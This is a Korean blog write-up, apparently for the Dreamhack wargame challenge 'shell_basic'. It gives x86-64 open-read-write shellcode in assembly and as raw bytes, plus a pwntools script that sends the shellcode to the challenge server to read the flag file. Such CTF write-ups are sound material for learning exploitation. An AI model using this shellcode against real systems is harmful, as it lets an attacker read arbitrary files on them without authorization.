또 뭐하지
[Dreamhack] shell_basic 본문
728x90
풀이
먼저 flag파일의 경로를 hex로 변환한다. 여기서 리틀엔티안방식으로 정렬하는거 기억해야한다!
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
mov rdi, 1
mov rax, 0x1
syscall
그리고 문제에 나와있는 참고 코드와 로드맵의 예시 orw 셸코드를 활용하여 코드를 작성한다.
여기서 push 0x0은 문자열의 끝을 나타내는 널 종료자를 스택에 푸시하는 것이다. 이거 안 해서 한참 헤맸다.
문제의 참고 코드를 활용하여 바이트 코드로 바꾸었다.
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
툴을 이용해서 형식을 변환해주었다.
서버 접속해서 셸코드를 입력했는데 아무일도 일어나지 않는다. 문제의 댓글을 보니 pwn 모듈을 사용해서 서버에 전송해야한다고 한다. 왤까..
from pwn import *
r = remote('host3.dreamhack.games', 21732)
shell = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'
r.sendlineafter(b'shellcode:', shell)
r.interactive()
코드를 작성하고 실행해줬다.
flag를 얻었다!
'Write-up > Pwnable' 카테고리의 다른 글
[Dreamhack] ssp_001 (0) | 2024.05.24 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2024.05.22 |
[Dreamhack] basic_exploitation_001 (0) | 2024.05.20 |
[Dreamhack] basic_exploitation_000 (0) | 2024.05.20 |
[Dreamhack] Return Address Overwrite (0) | 2024.05.20 |